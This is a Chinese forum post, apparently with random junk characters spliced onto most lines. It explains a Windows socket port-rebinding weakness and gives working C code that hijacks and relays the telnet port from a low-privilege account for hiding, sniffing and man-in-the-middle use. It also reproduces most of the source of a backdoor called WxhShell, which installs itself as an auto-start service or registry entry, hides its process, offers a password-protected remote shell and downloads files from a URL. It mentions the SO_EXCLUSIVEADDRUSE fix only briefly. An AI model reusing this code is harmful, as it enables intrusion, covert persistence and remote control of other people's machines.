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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: aOW~! f/M  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); XOY\NMo  
(5^SL Y  
  saddr.sin_family = AF_INET; <,'^dR7,  
P$A'WEO'  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); |SsmVW$B|  
C Yk"  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ?rwHkPJ{*  
H!g9~a  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 4kLTKm:G  
Uv3Fe%>  
  这意味着什么?意味着可以进行如下的攻击: ~!dO2\X+  
(7P VfS>;  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 %aJ8wYj*  
LTio^uH  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) y{qKb:~wv  
1b"3]?  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 FiNB$A  
rOq>jvy  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  $-]PD`wmY  
fPsUIlI/A  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 CY.i0  
v/C*?/ ~  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ^$\#aTyFK  
{[FJkP2l  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 8F`799[p  
}KL( -Ui$  
  #include jowR!rqf  
  #include & MfnH  
  #include P0szY"}  
  #include    "CWqPcr  
  DWORD WINAPI ClientThread(LPVOID lpParam);   T`^LWc"  
  int main() IQ}YF]I;  
  { F|W(_llfM  
  WORD wVersionRequested; :j!N7c{  
  DWORD ret; +QFY. >KH  
  WSADATA wsaData; T_?,?  
  BOOL val; ;!N_8{ 7r  
  SOCKADDR_IN saddr; RjQdlr6*  
  SOCKADDR_IN scaddr; r)t-_p37  
  int err; Xc@%_6  
  SOCKET s; 4EEXt<c.  
  SOCKET sc; X6c['Zrc  
  int caddsize; Uv /?/;si  
  HANDLE mt; 9ioV R  
  DWORD tid;   ?t];GNU`l  
  wVersionRequested = MAKEWORD( 2, 2 ); xYWg1e$k  
  err = WSAStartup( wVersionRequested, &wsaData ); E./Gt.Na  
  if ( err != 0 ) { )SFy Q  
  printf("error!WSAStartup failed!\n"); oQ8If$a}  
  return -1; * d[sja+  
  } RjCEo4b-.H  
  saddr.sin_family = AF_INET; 79(Px2H2  
   HTUY|^^D  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 G-Ju`.  
(&Z`P  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); })@LvYK  
  saddr.sin_port = htons(23); MDKiwT@#  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #~88[i-6  
  { ,;wc$-Z!8  
  printf("error!socket failed!\n"); f)K1j{TZ  
  return -1; 8a4&}^|  
  } rY&Y58./  
  val = TRUE; % 2lcc"'  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ('.r_F  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) (|<.7K N  
  { vy330SQPo  
  printf("error!setsockopt failed!\n"); QZ51}i  
  return -1; qy|si4IU8,  
  } VjVL/SO/  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; %7bZnK`C  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 LK[%}2me  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 X>y6-%@  
b}#ay2AR  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) u0& dDZ  
  { oVSq#I4  
  ret=GetLastError(); WH^r M`9  
  printf("error!bind failed!\n"); R+O[,UM^I~  
  return -1; GiN\@F!  
  } FsYsQ_,R3  
  listen(s,2); ,d34v*U  
  while(1) ()v{HB i  
  { & ]/Z~Vt  
  caddsize = sizeof(scaddr); C|A:^6d3=  
  //接受连接请求 _~E&?zR2>"  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); w oSI 2i  
  if(sc!=INVALID_SOCKET) RI%ZT  
  { 6- @n$5W0  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ;eeu 9_$  
  if(mt==NULL) f#9\&-h e0  
  { 5#U*vGVT  
  printf("Thread Creat Failed!\n"); UF00K1dbz  
  break; FWbA+{8  
  } _=eeZ4f  
  } G}b LWA  
  CloseHandle(mt); J<{@D9r9<~  
  } M _z-~G  
  closesocket(s); `o~9a N  
  WSACleanup(); m mj6YQ0a  
  return 0; ES#K'Lf  
  }   }TCOm_Y/qL  
  DWORD WINAPI ClientThread(LPVOID lpParam) E|Lv_4lb=  
  { %r*zd0*<n1  
  SOCKET ss = (SOCKET)lpParam; c|'hs   
  SOCKET sc; }~RH!Q1  
  unsigned char buf[4096]; ,4wZ/r> d  
  SOCKADDR_IN saddr; Dab1^H!KT  
  long num; &v^LxLt+s  
  DWORD val; E}$K&<J'-  
  DWORD ret; -l!;PV S|  
  //如果是隐藏端口应用的话,可以在此处加一些判断 QDC]g.x  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   >Cjb|f3'i}  
  saddr.sin_family = AF_INET; W%=b|6E  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); T?+xx^wYk  
  saddr.sin_port = htons(23); vO)nqtw  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) sc! e$@U  
  { MyOdWD&7  
  printf("error!socket failed!\n"); b)A$lP%`  
  return -1; J 8"Cw<=O  
  } g[P8  
  val = 100; J8x>vC  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) r$*p  
  { %HJ_0qg  
  ret = GetLastError(); N*Owfr1 N  
  return -1; dB`YvKr#  
  } &OiJJl[9  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) l }?'U  
  { UUx0#D/U0C  
  ret = GetLastError(); }>w;(R  
  return -1; 'lU9*e9  
  } @,-xaZ[  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) !=.5$/  
  { k.DDfuKN  
  printf("error!socket connect failed!\n"); uSs~P%@6|  
  closesocket(sc); GJA3  
  closesocket(ss); ,OLN%2Sq  
  return -1; S) [`Bm  
  } H! ZPP8]j>  
  while(1) or u.a   
  { ESZ6<!S  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 b "4W` A  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 SLc6 ]?  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 'W~O ?  
  num = recv(ss,buf,4096,0); }XiS:  
  if(num>0) J}coWjw`q  
  send(sc,buf,num,0); ]OoqU-q  
  else if(num==0) Aov=qLWJ  
  break; u8*Uia*vwH  
  num = recv(sc,buf,4096,0); AG#5_0]P~  
  if(num>0) =S-'*F  
  send(ss,buf,num,0); 5vL]Y)l  
  else if(num==0) AR?J[e  
  break; Nvs8t%  
  } ;fhFv&`mE  
  closesocket(ss); *N$#cz  
  closesocket(sc); tLpDIA_8  
  return 0 ; 4 ~17s`+  
  } E#_TX3B   
)#r]x1[Kn  
V&DS+'P  
========================================================== Gt[!q\^?  
EeKEw Sg  
下边附上一个代码,,WXhSHELL r}P{opn$t  
f;6a4<bz  
========================================================== J%3%l5 /  
Z^AACKME  
#include "stdafx.h" i`Es7 }  
}`yIO"{8n  
#include <stdio.h> MOyQ4<_  
#include <string.h> 4ow)vS(  
#include <windows.h> "qb3\0O  
#include <winsock2.h> xv9Z~JwH  
#include <winsvc.h> c{j0A;XMS  
#include <urlmon.h> H~@E&qd  
2-u>=r0L  
#pragma comment (lib, "Ws2_32.lib") QhK]>d.  
#pragma comment (lib, "urlmon.lib") Gu&?Gn oc  
fw_V'l#\  
#define MAX_USER   100 // 最大客户端连接数 `ejE)VL=8h  
#define BUF_SOCK   200 // sock buffer 2_0OSbFv'P  
#define KEY_BUFF   255 // 输入 buffer UGEC_  
q]tPsX5{*  
#define REBOOT     0   // 重启 J;+iW*E:  
#define SHUTDOWN   1   // 关机 L '342(  
3a_S-&?X  
#define DEF_PORT   5000 // 监听端口 jjkiic+tDN  
:a}hd^;[%8  
#define REG_LEN     16   // 注册表键长度 HW{osav9  
#define SVC_LEN     80   // NT服务名长度 LN?f w  
)k3zOKZ;  
// 从dll定义API K!k,]90Ko  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); JcZs\ fl9  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); b IcLMG s  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); OGrVy=rd  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [,-MC7>]  
gmWRw{nS+  
// wxhshell配置信息 W z3y+I/&  
struct WSCFG { 0,nDyTS^  
  int ws_port;         // 监听端口 Rw*l#cr=.  
  char ws_passstr[REG_LEN]; // 口令 IyYC).wU}  
  int ws_autoins;       // 安装标记, 1=yes 0=no T<DQi  
  char ws_regname[REG_LEN]; // 注册表键名 by& #g  
  char ws_svcname[REG_LEN]; // 服务名 1Af~6jz  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 C2,,+* v  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 @Wy>4B^  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 T?)?"b\qz  
int ws_downexe;       // 下载执行标记, 1=yes 0=no :=^JHE{  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" vj^vzFbK  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;&P%A<[`  
JMw1qPJQ  
}; r<Ll>R  
xe|o( !(  
// default Wxhshell configuration N/Z3 EF_  
struct WSCFG wscfg={DEF_PORT, A--Hg-N|  
    "xuhuanlingzhe", YQiTx)_  
    1, 9~<HTH  
    "Wxhshell", d> `9!)  
    "Wxhshell", ?I`']|I  
            "WxhShell Service", kh 1 7  
    "Wrsky Windows CmdShell Service", #~q{6()e:  
    "Please Input Your Password: ", mKPyM<Q  
  1, L\5j"] }`  
  "http://www.wrsky.com/wxhshell.exe", Ezm ~SY  
  "Wxhshell.exe" .ev'd&l.  
    }; ^$24231^  
Io{)@H"f  
// 消息定义模块 .3A66 O~zT  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; I' ej?~  
char *msg_ws_prompt="\n\r? for help\n\r#>"; \QstcsEt  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; l[l('-f  
char *msg_ws_ext="\n\rExit."; SPe Se/  
char *msg_ws_end="\n\rQuit."; a{QHv0goG  
char *msg_ws_boot="\n\rReboot..."; %s%v|HDs  
char *msg_ws_poff="\n\rShutdown..."; AIF?+i%H}  
char *msg_ws_down="\n\rSave to "; fEWS3`Yy  
pA+W 8v#*  
char *msg_ws_err="\n\rErr!"; sbrU;X_S  
char *msg_ws_ok="\n\rOK!"; x;l\#x/<  
"ZNiTND  
char ExeFile[MAX_PATH]; &|IY=$-  
int nUser = 0; ^{_`jE  
HANDLE handles[MAX_USER]; <jQ?l% \  
int OsIsNt; 9@#Z6[=R,  
,;'9PsIS^  
SERVICE_STATUS       serviceStatus; *]p]mzc  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; C 6ZM#}I$l  
T#Qn\ 8  
// 函数声明 #]oVVf_  
int Install(void); YL=?Nk/  
int Uninstall(void); AM1J ^Dp  
int DownloadFile(char *sURL, SOCKET wsh); A}FEM[2  
int Boot(int flag); ^* ^te+N  
void HideProc(void); {%'(IJ|5z  
int GetOsVer(void); ]YQlCx`  
int Wxhshell(SOCKET wsl); r Ka7[/  
void TalkWithClient(void *cs); i))S%!/r~  
int CmdShell(SOCKET sock); cV_nYcLkz  
int StartFromService(void); C#`eN{%.YT  
int StartWxhshell(LPSTR lpCmdLine); }L{en  
ync2X{9D  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); zJOjc/\  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); [7ZFxr\:!  
9;k_"@A6  
// 数据结构和表定义 4T`u?T]  
SERVICE_TABLE_ENTRY DispatchTable[] = d Ayof=  
{ 3205gI,  
{wscfg.ws_svcname, NTServiceMain}, K~5QL/=1  
{NULL, NULL} p}hOkx4R\  
}; 3aQWzEnh  
:t8(w>oW  
// 自我安装 =M>1;Qr<Z/  
int Install(void) D%N^iJC,9  
{ =2BGS\$#  
  char svExeFile[MAX_PATH]; j~(rG^T  
  HKEY key; I&U?8  
  strcpy(svExeFile,ExeFile); KtUI(*$`  
scCOiK)  
// 如果是win9x系统,修改注册表设为自启动 p)N=  
if(!OsIsNt) { FRQ0tIp  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { AdesR-e$R  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); DmM<Kkg.J  
  RegCloseKey(key); lplEQ]J|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { WLQm|C,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); P&V,x`<Z  
  RegCloseKey(key); mEmznA  
  return 0; _$s9o$8$  
    } iv2did4  
  } %kS+n_*  
} M2(+}gv;7p  
else { $(H%|Oyn  
}+h/2D  
// 如果是NT以上系统,安装为系统服务 mVg-z~44T  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); <LIL{g0eX  
if (schSCManager!=0) p [4/Nq,c  
{ BK]bSj  
  SC_HANDLE schService = CreateService n$g g$<  
  ( DnS# cs~  
  schSCManager, zdrCr0Rx,  
  wscfg.ws_svcname, &*B=5W;6^u  
  wscfg.ws_svcdisp, _(&^M[O  
  SERVICE_ALL_ACCESS, QU_O9 BN  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , WLd{+y5#  
  SERVICE_AUTO_START, Fd":\7p  
  SERVICE_ERROR_NORMAL, '3O@Nxof4  
  svExeFile, Mp^%.m  
  NULL, d&4]?8}=.  
  NULL, w7cciD|  
  NULL, +VkhM;'"C  
  NULL, r5h}o)J  
  NULL Sg(fZ' -  
  ); ~^cx a%  
  if (schService!=0) &u( eu'Q3  
  {  jhjb)r.  
  CloseServiceHandle(schService);  d!5C$C/x  
  CloseServiceHandle(schSCManager); x+x 6F  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +!6aB|-  
  strcat(svExeFile,wscfg.ws_svcname); "rOe J~4 X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ml<X92Y  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ,4zwd@&O  
  RegCloseKey(key); 3`S|I_$(T"  
  return 0; 9"Oz-!Y4  
    } >j5) MF{"  
  } i\lur ET  
  CloseServiceHandle(schSCManager); I *YO  
} 4n @}X-)  
} zV_U/]y  
47.c  
return 1; GoP,_sd\O  
} ~F[}*%iR  
&Ed7|k]H  
// 自我卸载 _fx0-S*$  
int Uninstall(void) Kq e,p{=  
{ r!N)pt<g  
  HKEY key; HgPRz C  
kNP.0  
if(!OsIsNt) { |7XSC,"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { j}7as&  
  RegDeleteValue(key,wscfg.ws_regname); ||a 5)D  
  RegCloseKey(key); dqMt6b\}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { yBqv'Y  
  RegDeleteValue(key,wscfg.ws_regname); x%ju(B>  
  RegCloseKey(key); =QFnab?N  
  return 0; p\T9 q  
  } \>0%E{CR  
} 99w;Q 2k  
} QlmZBqK}&  
else { ,ef"S r  
}'mVD^<+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); WJbdsPs  
if (schSCManager!=0) ?K%&N99c!  
{ <7N8L  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); qR^KvAEQSo  
  if (schService!=0) \g< 9_  
  { 1ThONrxu  
  if(DeleteService(schService)!=0) { Vw.c05x  
  CloseServiceHandle(schService); X~|P  
  CloseServiceHandle(schSCManager); @FVan  
  return 0; ~WXT0-,  
  } FjF:Eh  
  CloseServiceHandle(schService); >=Hm2daN  
  } 6REv(E]  
  CloseServiceHandle(schSCManager); W`_pjld  
} vH/ z|<  
} :9un6A9JS  
=67dpQ'y  
return 1; |g<1n  
} }#}IR5`=E  
|M]#D0v  
// 从指定url下载文件 wv0d"PKTS  
int DownloadFile(char *sURL, SOCKET wsh) SFCKD/8  
{ to{/@^ D  
  HRESULT hr; eQ _dO]Q  
char seps[]= "/"; u=NpL^6s<  
char *token; 2<HG=iSf  
char *file; Z0*Lm+d9z  
char myURL[MAX_PATH]; y57]q#k  
char myFILE[MAX_PATH]; Ylbh_ d~BU  
RU&,z3LEb  
strcpy(myURL,sURL); ?&$??r^i  
  token=strtok(myURL,seps); V?AHj<  
  while(token!=NULL) >^}nk04  
  { WM$)T6M  
    file=token; YoiM\gw  
  token=strtok(NULL,seps); V#8]io  
  } "8MG[$Y  
^2Sa_.  
GetCurrentDirectory(MAX_PATH,myFILE); qj *IKS  
strcat(myFILE, "\\"); [=M0%"  
strcat(myFILE, file); F[PIo7?K  
  send(wsh,myFILE,strlen(myFILE),0); [<SM*fQ>t  
send(wsh,"...",3,0); 6v~` jS%3  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); y,&.<Yc  
  if(hr==S_OK) b<,Z^Z_  
return 0; ]"bkB+I  
else jO xH' 1I  
return 1; n5CjwLgu\b  
MG ,exN @  
} i'&KoR ?  
bB^% O^:  
// 系统电源模块 3 $7TeqfAC  
int Boot(int flag) &"GHD{ix  
{ @y:mj \J9  
  HANDLE hToken; l{oAqTN  
  TOKEN_PRIVILEGES tkp; jR8~EI+  
cx%[hM09  
  if(OsIsNt) { |O0=Q,<m  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); *?jU$&Qpj*  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 46(Vq|  
    tkp.PrivilegeCount = 1; ~5Wr |qg%{  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 'Gwa[ |6i  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); wn*<.s  
if(flag==REBOOT) { 0l-m:6  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ghvF%-."1  
  return 0; mNkS!(L6  
} L B`=+FD  
else { }G^Bc4@b  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 0CXh|AU  
  return 0; p\lS ) 9  
} S%KY%hUt  
  } *p!K9$4  
  else { bz!9\D|h  
if(flag==REBOOT) { Co6ghH7T  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) weQC9e~d{-  
  return 0; I)$`@.  
} e='bc7$  
else { lK;/97Ze  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))  V[D[MZ  
  return 0; BM bT:)%  
} dhl[JC~ _  
} 4k'2FkDA  
hgCF!eud  
return 1; tBEZ4 W>67  
} A:Y]<jt  
\+OP!`  
// win9x进程隐藏模块 \m @8$MK  
void HideProc(void) b|U48j1A  
{ z 9mmZqhK\  
gs;3NW  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); z_fR?~$N2  
  if ( hKernel != NULL ) RFF&-M]  
  { `P;fD/I  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); i<<NKv8;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); B"N8NVn  
    FreeLibrary(hKernel); f:5(M@iO.  
  } O[+![[N2  
KQsS)ju  
return; 9( ;lcOz  
} a<+Qw'  
$<^4G  
// 获取操作系统版本 ]'Y vI! r  
int GetOsVer(void) 0gNwC~IA8  
{ I}oxwc  
  OSVERSIONINFO winfo; [\N,ow,n  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); b 62 o  
  GetVersionEx(&winfo); .<JD'%?"  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) j^A0[:2  
  return 1; (1e;7sNG@  
  else + >o/Ob  
  return 0; e-<fkU9^W  
} q 4_&C&7  
,ry2J,IT7  
// 客户端句柄模块 x:8xGG9  
int Wxhshell(SOCKET wsl) M7vc/E}]n  
{ B.2F\ub g  
  SOCKET wsh; :32  
  struct sockaddr_in client; "kyy>H9)  
  DWORD myID; 1G/bqIMg63  
Ve>*KHDSt  
  while(nUser<MAX_USER) S3nA}1R  
{ F?2(U\k#  
  int nSize=sizeof(client); vPuPSE%M  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); }vBk ,ED  
  if(wsh==INVALID_SOCKET) return 1; H?8uy_Sc  
b{H&%Jx)  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 6L@g]f|Y@  
if(handles[nUser]==0) =!3G,qV  
  closesocket(wsh); :HhLc'1Jw  
else GRz`fO  
  nUser++; `T  $lTP  
  } qe!`LeT#  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); HKO00p7  
PQAN,d  
  return 0; C`OdMM>D  
} TL@_m^SM  
GIQ/gM?Pv  
// 关闭 socket ji {V#  
void CloseIt(SOCKET wsh) ]dk44,EL  
{ j6Acd~y\2  
closesocket(wsh); Eugt~j3  
nUser--; \2i4]V  
ExitThread(0); jTk !wm=  
} *%5#\ I  
2#'{Q4K  
// 客户端请求句柄 ehj&A+Ip  
void TalkWithClient(void *cs) "PGEiLY  
{ ==I:>+_ ^|  
_5#f9,m1  
  SOCKET wsh=(SOCKET)cs; ]t_AXKd  
  char pwd[SVC_LEN]; (_-<3)q4  
  char cmd[KEY_BUFF]; 'LIJpk3J  
char chr[1]; Q%~b(4E^7P  
int i,j; reLYtv  
m<00 5_Z0Q  
  while (nUser < MAX_USER) { [ >#?C*s  
04NI.Jv  
if(wscfg.ws_passstr) { !$hrK6o  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~$w-I\Q!  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); R(@7$  
  //ZeroMemory(pwd,KEY_BUFF); %,%s09tO  
      i=0; C$ cX{hV  
  while(i<SVC_LEN) { S*rgYe!E  
W|~Lmdzj  
  // 设置超时 EL80f>K  
  fd_set FdRead; +g ovnx  
  struct timeval TimeOut; ~Bn#A kL  
  FD_ZERO(&FdRead); " M8 j?  
  FD_SET(wsh,&FdRead); FX)g\=ov  
  TimeOut.tv_sec=8; yNdtq\h  
  TimeOut.tv_usec=0; ;hNn F&l  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); k7)H %31;  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); R{)Sv| +`  
Y cE:KRy  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X4*{CM  
  pwd=chr[0]; mzTF2K  
  if(chr[0]==0xd || chr[0]==0xa) { [>&Nhn0iY  
  pwd=0; '#[U7(lIQ  
  break; %b'ic  
  } ohusL9D  
  i++; 2H fP$.  
    } wG2lCv`d  
ON _uu]=  
  // 如果是非法用户,关闭 socket G\tTwX4  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]OZZPo  
} 0wXfu"E{  
^Qz8`1`;Z  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); vjaIFyj  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); GEfX,9LF&  
bmna*!l^M  
while(1) { V| z|H$-  
!cT#G  
  ZeroMemory(cmd,KEY_BUFF); N5csq(  
MzYTEe&-L  
      // 自动支持客户端 telnet标准   K$(&Qx}  
  j=0; 3WS`,}  
  while(j<KEY_BUFF) { ^*'|(Cv  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); j#y_#  
  cmd[j]=chr[0]; z^I"{eT8  
  if(chr[0]==0xa || chr[0]==0xd) { Qpiv,n  
  cmd[j]=0; wcP0PfY  
  break; ~ C6< 75  
  } r]Da4G^  
  j++; G+AD &EHV  
    } j2deb`GD  
A_T-]YQ  
  // 下载文件 zMt"ST.  
  if(strstr(cmd,"http://")) { g"( vl-Uw  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Y'Sxehx  
  if(DownloadFile(cmd,wsh)) ?mS798=f  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4JFi|oK0H  
  else &M=12>ah]  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ki}PO`s  
  } o %A4wEye  
  else { lYT}Nc4"="  
CjORL'3  
    switch(cmd[0]) { :2Qm*Y&_$V  
  `23&vGk}  
  // 帮助 )y'`C@ijI  
  case '?': { r vVU5zA4H  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); e{U`^ao`F8  
    break; }b2U o&][  
  } -w=rNlj  
  // 安装 *_b4j.)ax,  
  case 'i': { b* qkox;j  
    if(Install()) %~J90a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g$kK)z  
    else ~el#pf~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wKe^5|Rr  
    break; j[m\;3Sp  
    } !tv3.:eT  
  // 卸载 << LmO-92  
  case 'r': { n_AW0i .  
    if(Uninstall()) !V$nU8p|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s ,\w00-:  
    else Hs~M!eK  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _A kc7"  
    break; ,ZV<o!\  
    } _s (0P*  
  // 显示 wxhshell 所在路径 : RnjcnR  
  case 'p': { 7xB#)o53  
    char svExeFile[MAX_PATH]; QE)I7(  
    strcpy(svExeFile,"\n\r"); IJxdbuKg  
      strcat(svExeFile,ExeFile); *pw:oTO  
        send(wsh,svExeFile,strlen(svExeFile),0); rI o`n2  
    break; \% !]qv  
    } u9"b,].b  
  // 重启  Us k@{  
  case 'b': { q`E6hm  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0aSN 8  
    if(Boot(REBOOT)) )NRY9\H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *:\-:*  
    else { 1%^U=[#2`  
    closesocket(wsh); o DPs xw  
    ExitThread(0); X&MO}  
    } ,f0cy\.?  
    break; \K`AO{ D@  
    } p*_g0_^  
  // 关机 HGfYL')Z  
  case 'd': { +VDwDJ)lG  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); dP T)&  
